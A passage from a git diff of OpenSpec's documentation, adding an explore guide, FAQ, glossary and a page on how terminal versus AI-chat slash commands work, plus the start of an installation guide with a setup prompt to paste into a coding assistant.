nothing and commits you to nothing. You can explore three dead ends, learn something from each, and only then propose the path that survived. + +## It's already installed + +Good news: `/opsx:explore` ships in the default **core** profile, right alongside `propose`, `apply`, `update`, `sync`, and `archive`. You don't need to enable anything. If OpenSpec is set up in your project, explore is ready in your AI chat. (As with all `/opsx:*` commands, you type it in your assistant's chat, not the terminal. See [How Commands Work](how-commands-work.md).) + +## A full example + +Watch how a vague worry becomes a sharp, buildable change. + +```text +You: /opsx:explore + +AI: What would you like to explore? + +You: Our checkout sometimes creates duplicate orders. I don't know why + and I don't know how to fix it safely. + +AI: Let me dig into the checkout path... + [reads the order service, the payment webhook handler, and the + client submit logic] + + Here's what I found. There are two ways a duplicate can happen: + + 1. The client can submit twice (double-click, retry on slow network). + Nothing debounces it. + 2. The payment webhook can fire more than once, and the handler + creates an order each time. There's no idempotency key. + + Cause #2 is the dangerous one: it can charge and fulfill twice. + + Three ways to fix it, roughly in order of robustness: + - Idempotency key on the order-creation endpoint (handles both causes) + - Dedup on the webhook by payment-intent id (handles #2 only) + - Client-side debounce (handles #1 only, papers over the real bug) + + Given your code already stores the payment-intent id, the + idempotency-key approach is a small change with the biggest payoff. + Want me to scope that? + +You: Yes, let's do the idempotency key. + +You: /opsx:propose add-order-idempotency-key + +AI: Created openspec/changes/add-order-idempotency-key/, with a proposal + and delta spec grounded in what we just found. Ready for implementation. +``` + +Notice what happened. The starting point was "something is wrong and I'm scared to touch it." Twenty seconds of exploration turned that into a named root cause, three ranked options, a recommendation tied to the existing code, and a precise change. The proposal that follows is sharp because the thinking happened first. + +## Handing off to propose + +Explore doesn't archive into anything. When you're ready, you simply start a change, and the AI carries the context from your conversation into the artifacts. + +```text +explore ──► propose ──► apply ──► archive + (think) (agree) (build) (record) +``` + +You can say it in plain language ("let's turn this into a change") or run `/opsx:propose ` directly. Either way, the exploration you just did becomes the foundation of the proposal, not throwaway chat. + +If you use the expanded command set, explore can hand off to `/opsx:new` instead, for step-by-step artifact creation. See [Workflows](workflows.md). + +## Tips for a good exploration + +- **Bring the problem, not the solution.** "Logins feel slow" gives the AI room to investigate. "Add a Redis cache" pre-commits you to an answer you haven't tested yet. +- **Ask for the tradeoffs out loud.** "What are the downsides of each option?" gets you a more honest comparison. +- **Let it read first.** The best explorations start with the AI actually looking at your code, not guessing. Point it at the relevant area if it helps. +- **It's okay to bail.** If exploration reveals the idea isn't worth it, that's a win. You learned it cheaply. +- **Explore again mid-change.** Stuck during `/opsx:apply`? You can step back and explore a sub-problem, then return. + +## The honest tradeoffs + +**What you gain:** explore catches wrong turns at the cheapest possible moment, before any artifact exists. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking. + +**What it costs:** a little patience. Explore is a conversation, so it's slower than firing off `/opsx:propose` and hoping. For work you genuinely understand already, that extra step is pure overhead, and you should skip it. + +The rule of thumb: the fuzzier the task, the more explore pays off. The clearer the task, the more you can skip straight to proposing. + +## Where to go next + +- [Commands: `/opsx:explore`](commands.md#opsxexplore): the precise reference +- [Workflows](workflows.md): explore as part of the everyday loop +- [Examples & Recipes](examples.md#recipe-3-exploring-before-you-commit): explore in a full walkthrough +- [Getting Started](getting-started.md): the first-change guide, exploration included diff --git a/docs/faq.md b/docs/faq.md new file mode 100644 index 0000000000..770479aa3e --- /dev/null +++ b/docs/faq.md @@ -0,0 +1,155 @@ +# FAQ + +Quick answers to the questions people ask most. If your question is really a "something is broken" question, [Troubleshooting](troubleshooting.md) is the better page. If you want a term defined, see the [Glossary](glossary.md). + +## The basics + +### What is OpenSpec, in one sentence? + +A lightweight layer that gets you and your AI coding assistant to agree on what to build, in writing, before any code is written. + +### Why would I want that? + +Because AI assistants are confident even when they're wrong. When the requirements live only in a chat thread, the AI fills gaps with guesses, and you find out after the code exists. OpenSpec moves the agreement earlier, where mistakes are cheap to fix. See [Core Concepts at a Glance](overview.md) for the full case. + +### Do I have to use it for everything? + +No. Use it where agreement matters, which is most non-trivial work. For a one-character typo fix, the ceremony probably isn't worth it, and that's fine. + +### Can I use it on a big existing codebase, or only new projects? + +Existing codebases are the main event. OpenSpec is brownfield-first: you do not document your whole app up front. You write specs only for what each change touches, and your specs fill in over time around the work you actually do. There's a dedicated guide: [Using OpenSpec in an Existing Project](existing-projects.md). + +### Is it tied to one AI tool? + +No. OpenSpec works with 30+ assistants, including Claude Code, Cursor, Devin Desktop, GitHub Copilot, Gemini CLI, Codex, and more. The full list and per-tool details are in [Supported Tools](supported-tools.md). + +## Running commands + +### Where do I type `/opsx:propose`? + +In your AI assistant's chat, not your terminal. This is the single most common point of confusion, so it has its own page: [How Commands Work](how-commands-work.md). Short version: `openspec ...` runs in the terminal, `/opsx:...` runs in chat. + +### How do I "start interactive mode"? + +There isn't a separate mode to start. You open your AI assistant like normal and type a slash command into its chat. The slash command is how you "enter" OpenSpec. (The one genuinely interactive terminal feature is `openspec view`, a dashboard for browsing specs and changes.) Full explanation in [How Commands Work](how-commands-work.md). + +### I typed a slash command and nothing happened. Why? + +Most likely you typed it in the terminal instead of your AI chat, you used a spelling your tool doesn't register, or the commands aren't installed yet. If the files are missing — or you never set the tool up — run `openspec init`; `openspec update` only refreshes files that already exist. Then restart your assistant and use the form printed under "Getting started" — see [How To Invoke](supported-tools.md#how-to-invoke). [Troubleshooting](troubleshooting.md#commands-dont-show-up) has the full checklist. + +### Why is the syntax `/opsx:propose` in one tool and `/opsx-propose` in another? + +Each AI tool surfaces custom commands a little differently, and OpenSpec spells them the way your tool loads the file it wrote. A command file named `opsx-propose.md` is typed `/opsx-propose`; one filed under `commands/opsx/` is typed `/opsx:propose`. Tools that take skills instead of commands use the skill name — Codex needs `$openspec-propose`, Kimi Code `/skill:openspec-propose`. The `openspec init` "Getting started" line already prints the right form for the tools you picked; the full table is in [How To Invoke](supported-tools.md#how-to-invoke). + +### What's the difference between a skill and a command? + +Both are files OpenSpec writes so your assistant can run the workflow. Skills (`.../skills/openspec-*/SKILL.md`) are the newer cross-tool standard; commands (`.../commands/opsx-*`) are the older per-tool slash files. You don't need to pick. You just type the slash command, and OpenSpec installs whichever your tool uses. + +## The workflow + +### Where should I start if I'm not sure what to build? + +With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any change or code exists. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md). + +### What's the simplest possible flow? + +```text +/opsx:explore (optional) then /opsx:propose then /opsx:apply then /opsx:archive +``` + +Explore to think it through, propose to draft the plan, apply to build it, archive to file it away. Skip explore when you already know exactly what you want. + +### What's the difference between `/opsx:propose` and `/opsx:new`? + +`/opsx:propose` is the default one-step command: it creates the change and drafts all the planning artifacts at once. `/opsx:new` is part of the expanded command set and only scaffolds an empty change, leaving you to create artifacts one at a time with `/opsx:continue` (or all at once with `/opsx:ff`). Use propose unless you want step-by-step control. See [Commands](commands.md). + +### What are `core` and expanded profiles? + +A profile decides which slash commands get installed. **Core** (the default) gives you `propose`, `explore`, `apply`, `update`, `sync`, `archive`. The **expanded** set adds `new`, `continue`, `ff`, `verify`, `bulk-archive`, and `onboard` for finer control. Switch with `openspec config profile`, then apply with `openspec update`. + +### Do I need to run `/opsx:sync`? + +Usually not. Sync merges a change's delta specs into your main specs, and `/opsx:archive` will offer to do it for you. Run sync manually only when you want the specs merged before archiving, for example on a long-running change. See [Commands](commands.md#opsxsync). + +### How do I edit a proposal, spec, or task after I've started? + +Just edit the file. Every artifact is plain Markdown in `openspec/changes//`, and there's no locked phase or special edit mode. Change it by hand, or ask your AI to revise it ("update the design to use a queue"), then keep going. The AI always works from the current file contents. Full guide: [Editing & Iterating on a Change](editing-changes.md). + +### Can I go back and change the plan after implementing some of it? + +Yes, at any time. The workflow is fluid, so review and editing aren't phases you get locked out of. Edit the artifact, then continue. If you want a structured check that the code still matches the plan, run `/opsx:verify`. See [Editing & Iterating on a Change](editing-changes.md#how-do-i-go-back-to-review-after-implementing). + +### I edited the code by hand. How do I reconcile it with the spec? + +Bring them back in sync before you archive, since archiving makes your specs the record of truth. If the code is now correct, update the delta spec to match what you shipped; if the spec is correct, keep building until the code agrees. `/opsx:verify` surfaces the mismatches. See [Editing & Iterating on a Change](editing-changes.md#i-edited-the-code-by-hand-how-do-i-reconcile-that-with-openspec). + +### When should I update an existing change versus start a new one? + +Update when it's the same work, refined. Start fresh when the intent fundamentally changed or the scope exploded into different work. There's a decision flowchart and examples in [Workflows](workflows.md#when-to-update-vs-start-fresh). + +### What if my session runs out of context, or requirements change mid-implementation? + +This is where specs earn their keep. Because the plan lives in files (not only in chat history), you can clear your context, start a fresh AI session, and pick up with `/opsx:apply`; it reads the artifacts and resumes from the first unchecked task. If requirements change, edit the artifacts to match the new reality and continue. Keeping a clean context window also produces better results; clear it before implementation. + +### Should I commit the `openspec/` folder to git? + +Yes. Your specs, active changes, and archive are part of your project's history. Commit them like any other source. The archive in particular becomes a durable record of why your system works the way it does. + +## Specs and changes + +### What goes in a spec versus a design? + +A spec describes observable behavior: what the system does, its inputs, outputs, and error conditions. A design describes how you'll build it: the technical approach, architecture decisions, file changes. If implementation could change without changing externally visible behavior, it belongs in the design, not the spec. [Concepts](concepts.md#what-a-spec-is-and-is-not) goes deeper. + +### What's a delta spec? + +A spec that describes only what's changing, using `ADDED`, `MODIFIED`, and `REMOVED` sections, rather than restating the whole spec. It's how OpenSpec handles edits to existing systems cleanly. See [Concepts](concepts.md#delta-specs). + +### Where do archived changes go? + +To `openspec/changes/archive/YYYY-MM-DD-/`, with all change artifacts preserved. The change moves out of your active list. A change that explicitly declares `retire_capabilities: true` can also delete a main capability spec when it removes that capability's final requirement. + +## Configuration and customization + +### How do I tell the AI about my tech stack? + +Put it in `openspec/config.yaml` under `context:`. That text is injected into every planning request, so the AI always knows your stack and conventions. See [Customization](customization.md#project-configuration). + +### Can I generate specs in a language other than English? + +Yes. Add a language instruction to your config's `context:`. [Multi-Language](multi-language.md) has copy-paste snippets for several languages. + +### Can I change the workflow itself? + +Yes, with custom schemas. A schema defines which artifacts exist and how they depend on each other. Fork the default with `openspec schema fork spec-driven my-workflow`, then edit it. See [Customization](customization.md#custom-schemas). + +## Models, privacy, and upgrades + +### Which AI model should I use? + +OpenSpec works best with high-reasoning models. The README recommends models like Codex 5.5 and Opus 4.7 for both planning and implementation. Also keep your context window clean: clear it before implementation for best results. + +### Does OpenSpec collect data? + +It collects anonymous usage stats: command names and version only. No arguments, paths, content, or personal data, and it's off automatically in CI. Opt out with `export OPENSPEC_TELEMETRY=0` or `export DO_NOT_TRACK=1`. + +### How do I upgrade? + +Two steps. Upgrade the package (`npm install -g @fission-ai/openspec@latest`), then run `openspec update` inside each project to refresh the generated skills and commands. + +### How do I uninstall OpenSpec? + +There's no uninstall command, because it's just a global package plus files in your project. Remove the package (`npm uninstall -g @fission-ai/openspec`), and optionally delete the `openspec/` directory and the generated tool files. Step-by-step, including what's safe to keep, is in [Installation: Uninstalling](installation.md#uninstalling). + +## Getting help + +### Where do I ask questions or report bugs? + +- **Discord:** [discord.gg/YctCnvvshC](https://discord.gg/YctCnvvshC) +- **GitHub Issues:** [github.com/Fission-AI/OpenSpec/issues](https://github.com/Fission-AI/OpenSpec/issues) +- **From your terminal:** `openspec feedback "your message"` opens a GitHub issue for you. + +### These docs are wrong or confusing. What do I do? + +Tell us, or fix it. Documentation PRs are welcome and valued. Open an issue or send a pull request. diff --git a/docs/getting-started.md b/docs/getting-started.md index 6f4b888627..36cd97cbb6 100644 --- a/docs/getting-started.md +++ b/docs/getting-started.md @@ -1,6 +1,32 @@ # Getting Started -This guide explains how OpenSpec works after you've installed and initialized it. For installation instructions, see the [main README](../README.md#quick-start). +This guide explains how OpenSpec works after you've installed and initialized it. For installation instructions, see the [main README](../README.md#quick-start) or the [Installation guide](installation.md). New to the whole docs set? The [documentation home](README.md) maps everything. + +> **Where do I type these commands?** Two places, and mixing them up is the most common early stumble. +> +> - `openspec ...` commands (like `openspec init`) run in your **terminal**. +> - `/opsx:...` commands (like `/opsx:propose`) run in your **AI assistant's chat**, the same box where you'd ask it to write code. +> +> There's no separate "interactive mode" to start. You just type the slash command in chat and your assistant takes it from there. Full explanation: [How Commands Work](how-commands-work.md). + +## Your First Five Minutes + +The whole loop, with each step labeled by where it happens: + +```text +TERMINAL $ npm install -g @fission-ai/openspec@latest +TERMINAL $ cd your-project && openspec init +AI CHAT /opsx:explore (optional: think it through first) +AI CHAT /opsx:propose add-dark-mode (AI drafts the plan; you review it) +AI CHAT /opsx:apply (AI builds it) +AI CHAT /opsx:archive (specs updated, change filed away) +``` + +Two terminal steps to set up, then you live in chat. The rest of this guide unpacks what each step does and what you'll see. + +**Don't want to do the terminal part yourself?** Paste the [setup prompt](installation.md#install-with-your-ai-assistant) into your assistant and it handles both lines, then reports what it created. + +> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any artifact or code exists. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md). ## How It Works @@ -9,16 +35,19 @@ OpenSpec helps you and your AI coding assistant agree on what to build before an **Default quick path (core profile):** ```text -/opsx:propose ──► /opsx:apply ──► /opsx:archive +/opsx:explore ──► /opsx:propose ──► /opsx:apply ──► /opsx:sync ──► /opsx:archive + (optional) ``` +Start with `/opsx:explore` when you're figuring out what to do, or jump straight to `/opsx:propose` when you already know. Explore is in the default profile, so it's always there when you want it. + **Expanded path (custom workflow selection):** ```text /opsx:new ──► /opsx:ff or /opsx:continue ──► /opsx:apply ──► /opsx:verify ──► /opsx:archive ``` -The default global profile is `core`, which includes `propose`, `explore`, `apply`, and `archive`. You can enable the expanded workflow commands with `openspec config profile` and then `openspec update`. +The default global profile is `core`, which includes `propose`, `explore`, `apply`, `update`, `sync`, and `archive`. You can enable the expanded workflow commands with `openspec config profile` and then `openspec update`. ## What OpenSpec Creates @@ -247,7 +276,16 @@ openspec view ## Next Steps +- [Explore First](explore.md) - Use `/opsx:explore` to think through an idea before you commit +- [Reviewing a Change](reviewing-changes.md) - What to check in the plan the AI drafts, before any code +- [Writing Good Specs](writing-specs.md) - What a strong requirement and scenario look like +- [Using OpenSpec in an Existing Project](existing-projects.md) - Start on a large brownfield codebase +- [Editing & Iterating on a Change](editing-changes.md) - Update artifacts, go back, reconcile manual edits +- [Core Concepts at a Glance](overview.md) - The whole mental model on one page +- [Examples & Recipes](examples.md) - Real changes, start to finish - [Workflows](workflows.md) - Common patterns and when to use each command - [Commands](commands.md) - Full reference for all slash commands - [Concepts](concepts.md) - Deeper understanding of specs, changes, and schemas - [Customization](customization.md) - Make OpenSpec work your way +- [Stores](stores-beta/user-guide.md) - Planning that spans repos or teams? Keep it in its own repo (beta) +- [FAQ](faq.md) and [Troubleshooting](troubleshooting.md) - When you get stuck diff --git a/docs/glossary.md b/docs/glossary.md new file mode 100644 index 0000000000..345125f38a --- /dev/null +++ b/docs/glossary.md @@ -0,0 +1,91 @@ +# Glossary + +Every OpenSpec term in one place, defined in plain language. Skim it once and the rest of the docs read faster. + +Terms are grouped by topic, then alphabetized within each group. + +## The core nouns + +**Spec.** A document describing how part of your system behaves. Specs live in `openspec/specs/`, are organized by domain, and are made of requirements and scenarios. The spec is the agreed-upon answer to "what does this software do?" See [Concepts](concepts.md#specs). + +**Source of truth.** The `openspec/specs/` directory as a whole. It holds the current, agreed-upon behavior of your system. Changes propose edits to it; archiving applies them. + +**Change.** One unit of work, packaged as a folder under `openspec/changes//`. A change holds everything about that work: its proposal, design, tasks, and the spec edits it introduces. One change, one feature or fix. + +**Artifact.** A document inside a change. The standard artifacts are the proposal, the delta specs, the design, and the tasks. They're created in dependency order and feed into each other. + +**Delta spec.** A spec inside a change that describes only what's changing, using `ADDED`, `MODIFIED`, and `REMOVED` sections, rather than restating the entire spec. This is what lets OpenSpec edit existing systems cleanly. See [Concepts](concepts.md#delta-specs). + +**Domain.** A logical grouping for specs, like `auth/`, `payments/`, or `ui/`. You choose domains that match how you think about your system. + +## Inside a spec + +**Requirement.** A single behavior the system must have, usually written with an RFC 2119 keyword: "The system SHALL expire sessions after 30 minutes." Requirements state the *what*, not the *how*. + +**Scenario.** A concrete, testable example of a requirement in action, typically in Given/When/Then form. Scenarios make a requirement verifiable: you could write an automated test from one. + +**RFC 2119 keywords.** The words MUST, SHALL, SHOULD, and MAY, which carry standardized meaning about how strict a requirement is. MUST and SHALL are absolute. SHOULD is recommended with room for exceptions. MAY is optional. The name comes from the internet standards document that defined them. + +## The artifacts + +**Proposal (`proposal.md`).** The *why* and *what* of a change: its intent, scope, and high-level approach. The first artifact you create. + +**Design (`design.md`).** The *how*: technical approach, architecture decisions, and the files you expect to touch. Optional for simple changes. + +**Tasks (`tasks.md`).** The implementation checklist, with checkboxes. The AI works through it during `/opsx:apply` and checks items off as it goes. + +## The lifecycle + +**Archive.** The act of finishing a change. Its delta specs merge into the main specs, and the change folder moves to `openspec/changes/archive/YYYY-MM-DD-/`. After archiving, your specs describe the new reality. See [Concepts](concepts.md#archive). + +**Sync.** Merging a change's delta specs into the main specs *without* archiving the change. Usually automatic (archive offers to do it), but available on its own as `/opsx:sync` for long-running changes. See [Commands](commands.md#opsxsync). + +## Workflow and commands + +**OPSX.** The current standard OpenSpec workflow, built around fluid actions instead of rigid phases. Its slash commands all start with `/opsx:`. See [OPSX Workflow](opsx.md). + +**Slash command.** A command you type into your AI assistant's chat, like `/opsx:propose`. Slash commands drive the workflow. They are not terminal commands. See [How Commands Work](how-commands-work.md). + +**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan, creating no artifacts and writing no code. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md). + +**CLI.** The `openspec` program you run in your terminal. It sets up projects, lists and validates changes, opens the dashboard, and archives. The terminal half of OpenSpec. See [CLI](cli.md). + +**Skill.** A folder of instructions (`.../skills/openspec-*/SKILL.md`) that your AI assistant auto-detects and follows. Skills are the emerging cross-tool standard for delivering the OpenSpec workflow to your assistant. + +**Command file.** A per-tool slash command file (`.../commands/opsx-*`). The older delivery mechanism, still supported alongside skills. You rarely touch these directly. + +**Profile.** The set of slash commands installed in your project. **Core** (the default) is `propose`, `explore`, `apply`, `update`, `sync`, `archive`. The **expanded** set adds `new`, `continue`, `ff`, `verify`, `bulk-archive`, `onboard`. Change it with `openspec config profile`. + +**Delivery.** Whether OpenSpec installs skills, command files, or both for your tools. Configured globally and applied with `openspec update`. + +## Customization + +**Schema.** The definition of which artifacts a workflow has and how they depend on one another. The built-in default is `spec-driven` (proposal → specs → design → tasks). You can fork it or write your own. See [Customization](customization.md#custom-schemas). + +**Template.** A Markdown file inside a schema that shapes what the AI generates for a given artifact. Editing a template changes the AI's output immediately, with no rebuild. + +**Project config (`openspec/config.yaml`).** Per-project settings: the default schema, the `context:` injected into every planning request, and per-artifact `rules:`. The easiest way to teach OpenSpec about your stack and conventions. See [Customization](customization.md#project-configuration). + +**Context injection.** Putting project background in `config.yaml`'s `context:` field so it's automatically added to every artifact the AI generates. More reliable than hoping the AI reads a separate file. + +**Dependency graph.** The directed graph formed by artifact `requires:` relationships. It's a DAG (directed acyclic graph: arrows only point forward, never in a loop), and OpenSpec uses it to know what you can create next. + +**Enablers, not gates.** The principle that artifact dependencies show what becomes *possible* next, not what's *required* next. You can revisit and edit any artifact at any time. See [Core Concepts at a Glance](overview.md#enablers-not-gates). + +## Coordination across repos (beta) + +These terms apply only if your planning spans more than one repo. They're in beta. Most users can ignore them. See the [Stores User Guide](stores-beta/user-guide.md). + +**Store.** A standalone repo whose whole job is planning. It has the same `openspec/` shape you already know (specs and changes) plus a small identity file. You register it on your machine once, by name, and then any OpenSpec command can work in it from anywhere. + +**Reference.** A declaration, in a code repo's `openspec/config.yaml`, of a store that repo draws on. References are read-only: the repo keeps its own root, and `openspec instructions` gains an index of the referenced store's specs, each with the exact command to fetch it. + +**Working context.** What `openspec context` assembles for the current repo: its OpenSpec root plus every store it references, each with how to fetch it. The answer to "what am I working with?" + +**Workset.** A personal, machine-local set of folders you open together (a store alongside the code repos you work on). Created explicitly with `openspec workset create`; nothing about those local paths is committed to the shared planning repo. + +## See also + +- [Core Concepts at a Glance](overview.md): the five ideas, on one page +- [Concepts](concepts.md): the long-form explanation +- [How Commands Work](how-commands-work.md): slash commands versus the CLI diff --git a/docs/how-commands-work.md b/docs/how-commands-work.md new file mode 100644 index 0000000000..328eca6090 --- /dev/null +++ b/docs/how-commands-work.md @@ -0,0 +1,173 @@ +# How Commands Work + +**The one thing to know: OpenSpec has two kinds of commands, and they run in two different places.** + +- `openspec ...` commands run in your **terminal**. (Example: `openspec init`.) +- `/opsx:...` commands run in your **AI assistant's chat**. (Example: `/opsx:propose`.) + +If you ever type `/opsx:propose` into your terminal and nothing happens, this page is why. You are talking to the wrong half of OpenSpec. Slash commands are not terminal commands. They are instructions you give to your AI coding assistant, in the same chat box where you'd normally type "add a login form." + +That single distinction is the most common stumbling block for new users, so let's make it crystal clear. + +## The two halves + +OpenSpec is one project wearing two hats. + +**The CLI (terminal half).** A program named `openspec` that you install and run from your shell. It sets up your project, lists and validates changes, shows a dashboard, and archives finished work. You type these into iTerm, the VS Code terminal, PowerShell, anywhere you'd run `git` or `npm`. + +```bash +openspec init # set up OpenSpec in this project +openspec list # see active changes +openspec view # open the interactive dashboard +``` + +**The slash commands (chat half).** Short commands like `/opsx:propose` and `/opsx:apply` that you type into your AI assistant. These tell the AI to follow the OpenSpec workflow: draft a proposal, write specs, build from the task list, archive when done. You type these into Claude Code, Cursor, Devin Desktop, Copilot, or whichever assistant you use. + +```text +/opsx:propose add-dark-mode (typed in your AI chat) +/opsx:apply (typed in your AI chat) +/opsx:archive (typed in your AI chat) +``` + +Here's the mental model in one picture: + +```text + YOUR TERMINAL YOUR AI ASSISTANT'S CHAT + ┌──────────────────────┐ ┌──────────────────────────────┐ + │ $ openspec init │ installs │ /opsx:propose add-dark-mode │ + │ $ openspec list │ ──────────► │ /opsx:apply │ + │ $ openspec view │ commands │ /opsx:archive │ + └──────────────────────┘ & skills └──────────────────────────────┘ + run openspec here run /opsx:* here +``` + +Notice the arrow. Running `openspec init` in your terminal is what *installs* the slash commands into your AI tool. The terminal half sets up the chat half. After that, day-to-day driving mostly happens in chat. + +## "How do I start interactive mode?" + +**There is no separate interactive mode to start.** This question comes up a lot, so it deserves a plain answer. + +You don't enter a special OpenSpec mode. You just open your AI coding assistant like you always do, and type a slash command into the chat. The slash command *is* how you "enter" OpenSpec. Your assistant recognizes it, loads the matching OpenSpec skill, and starts following the workflow. + +So the real instructions are: + +1. Open your AI coding assistant (Claude Code, Cursor, Devin Desktop, and so on) in your project. +2. Type `/opsx:propose` in its chat, the same place you type any other request. +3. Watch the autocomplete: if OpenSpec is installed, you'll see `/opsx:propose`, `/opsx:apply`, and friends appear as you type the slash. + +That's it. No mode to toggle, no daemon to launch, no separate window. + +One thing that *is* genuinely interactive lives in the terminal: `openspec view`. It opens a dashboard for browsing your specs and changes. But that's a viewer, not the thing you propose and build with. The building happens through slash commands in chat. + +## Why this split exists + +It's worth understanding, because it explains why OpenSpec works with 30+ different AI tools. + +The CLI is the **engine**. It knows the rules: what a change folder looks like, which artifacts depend on which, how to merge a delta spec into your source of truth. It's the same everywhere. + +The slash commands are the **steering wheel**, and every AI tool has a slightly different one. Claude Code calls them commands. Cursor and Devin Desktop have their own formats. Some tools call them skills. When you run `openspec init`, OpenSpec generates the right kind of file for each tool you selected, so the same `/opsx:propose` intent works no matter which assistant you prefer. + +The strength of this design: you learn the workflow once and carry it across tools. The tradeoff: the exact syntax of a command can differ slightly between tools, which is the next section. + +## Slash command syntax by tool + +The intent is identical everywhere. The spelling follows the file your tool loads. + +| Your tool's command file | How you type it | Example tools | +|--------------------------|-----------------|---------------| +| `.../commands/opsx/.*` | `/opsx:propose` | Claude Code, Gemini CLI, Crush | +| `.../opsx-.*` | `/opsx-propose` | Cursor, GitHub Copilot (IDE), Devin Desktop, Trae, Oh My Pi | +| `.amazonq/prompts/opsx-.md` | `@opsx-propose` | Amazon Q Developer | +| none — skills only | `/openspec-propose` | CodeArts, ForgeCode, Hermes, Mistral Vibe, shared `.agents` | +| none — Kimi Code | `/skill:openspec-propose` | Kimi Code | +| none — Codex CLI | `$openspec-propose` | Codex | + +Devin is the one tool that spans two rows. Devin Desktop reads +`.devin/workflows/`, so `/opsx-propose` works there; [Devin Local does +not](https://docs.devin.ai/desktop/devin-local), so on that agent use the +`/openspec-propose` skill instead. The skills OpenSpec writes to +`.devin/skills/` work on both, which is why they reference each other by skill +name. + +Every tool is listed in [How To Invoke](supported-tools.md#how-to-invoke) — that +table is the authoritative one. Two rows are not slash commands at all: Amazon Q +loads its files into a prompt library invoked with `@`, and the last three rows +use the *skill* name, which is not the command id (`/opsx:apply` is the +`openspec-apply-change` skill). + +When in doubt, read the "Getting started" line `openspec init` printed: it already +uses the form your tools registered. Typing a slash and watching the autocomplete +works too, for the tools that surface slash commands at all. + +## How the commands got there: skills and commands + +When you run `openspec init` (or `openspec update`), OpenSpec writes small files into your project so your AI tool can find the workflow. Depending on your tool and settings, these are **skills**, **commands**, or both. + +- **Skills** live in places like `.claude/skills/openspec-*/SKILL.md`. They're the emerging cross-tool standard: a folder of instructions your assistant auto-detects. +- **Commands** live in places like `.cursor/commands/opsx-.md` or `.claude/commands/opsx/.md` — the layout is the tool's, and it decides how you type the command. They're the older per-tool slash command files. Codex does not get generated command files; use `.agents/skills/openspec-*`. + +You don't have to care which one your tool uses. You just type the slash command and it works. But knowing these files exist helps when something goes wrong: if your commands vanish, it usually means these files are missing or stale, and `openspec update` regenerates them. + +See [Supported Tools](supported-tools.md) for the exact paths per tool, and [Migration Guide](migration-guide.md) for how skills replaced the older command-only approach. + +## Confirming it's installed + +Quick checks, fastest first: + +1. **Type a slash in your AI chat.** Start typing `/opsx` and watch for autocomplete suggestions. If they appear, you're set. On a skills-only tool (Codex, Kimi Code, CodeArts, ForgeCode, Hermes, Mistral Vibe, or the shared `.agents` target) `/opsx` never completes even on a healthy install — try the skill name from the table above instead. +2. **Look for the files.** For Claude Code, check that `.claude/skills/` contains `openspec-*` folders. Other tools use their own directories ([Supported Tools](supported-tools.md) lists them). +3. **Re-run setup.** From your project root, run `openspec update`. This regenerates the skill and command files for whatever tools you configured. +4. **Restart your assistant.** Many tools scan for skills and commands at startup, so a fresh window can be the missing step. + +## Which commands do I even have? + +By default, OpenSpec installs the **core** set of slash commands: + +- `/opsx:explore`: think through an idea with the AI before committing to a change (great first step when you're unsure) +- `/opsx:propose`: create a change and draft all its planning artifacts in one step +- `/opsx:apply`: build the change by working through its task list +- `/opsx:update`: revise a change's planning artifacts and keep them coherent +- `/opsx:sync`: merge a change's spec updates into your main specs (usually automatic) +- `/opsx:archive`: finish a change and file it away + +A good default rhythm: `explore` when you're figuring out what to do, then `propose`, `apply`, `archive`. The [Explore First](explore.md) guide explains why that opening step pays off. + +There's also an **expanded** set for people who want finer control (`/opsx:new`, `/opsx:continue`, `/opsx:ff`, `/opsx:verify`, `/opsx:bulk-archive`, `/opsx:onboard`). You turn it on with `openspec config profile`, then apply it with `openspec update`. + +New to all of this? `/opsx:onboard` (in the expanded set) walks you through a complete change on your own codebase, narrating each step. It's the friendliest possible introduction. + +For what each command does in detail, see [Commands](commands.md). For when to reach for which, see [Workflows](workflows.md). + +## A clean first run + +Putting it together, here is the whole sequence with each step labeled by where it happens. + +```text +TERMINAL $ npm install -g @fission-ai/openspec@latest +TERMINAL $ cd your-project +TERMINAL $ openspec init + (installs slash commands into your AI tool) + +AI CHAT /opsx:explore + (optional: think the idea through with the AI first) + +AI CHAT /opsx:propose add-dark-mode + (AI drafts proposal, specs, design, tasks) + +AI CHAT /opsx:apply + (AI builds it, checking off tasks) + +AI CHAT /opsx:archive + (change is merged into your specs and filed away) +``` + +Two terminal steps to set up. Then you live in chat. That's the rhythm. + +## Related + +- [Getting Started](getting-started.md): the full first-change walkthrough +- [Commands](commands.md): every slash command in detail +- [CLI](cli.md): every terminal command in detail +- [Supported Tools](supported-tools.md): per-tool syntax and file locations +- [FAQ](faq.md): more quick answers +- [Troubleshooting](troubleshooting.md): fixes when commands don't show up diff --git a/docs/installation.md b/docs/installation.md index 78910513c9..a42f026dc9 100644 --- a/docs/installation.md +++ b/docs/installation.md @@ -4,6 +4,78 @@ - **Node.js 20.19.0 or higher** — Check your version: `node --version` +## Install with your AI assistant + +Rather not do this by hand? Paste the prompt below into any coding assistant that can run shell commands — Claude Code, Codex, Cursor, Gemini CLI, Copilot, and the rest of the [supported tools](supported-tools.md). It installs the CLI, initializes this project, and reports back what actually happened. + +The manual steps below are the source of truth — the prompt just runs them for you. If your assistant stops and hands something back, that's by design: it asks before anything privileged and never edits your shell startup files. Finish those bits yourself with [Package Managers](#package-managers) and [Troubleshooting](troubleshooting.md). + +```text +Install OpenSpec in this project and set it up for me. Follow these steps in +order, and stop where a step tells you to stop. + +1. RUNTIME. Run `node --version`. OpenSpec needs Node.js 20.19.0 or higher. If + Node is missing or older, say so and stop — don't install Node, switch + versions, or reconfigure my version manager for me. + +2. INSTALL. Use whichever package manager is already on my PATH, preferring npm: + npm install -g @fission-ai/openspec@latest + pnpm add -g @fission-ai/openspec@latest + bun add -g @fission-ai/openspec@latest + yarn global add @fission-ai/openspec@latest (Yarn 1.x only) + Don't pick based on this project's lockfile — a global install has nothing to + do with how this repo's own dependencies are installed. If none of those four + is available, stop and tell me — don't 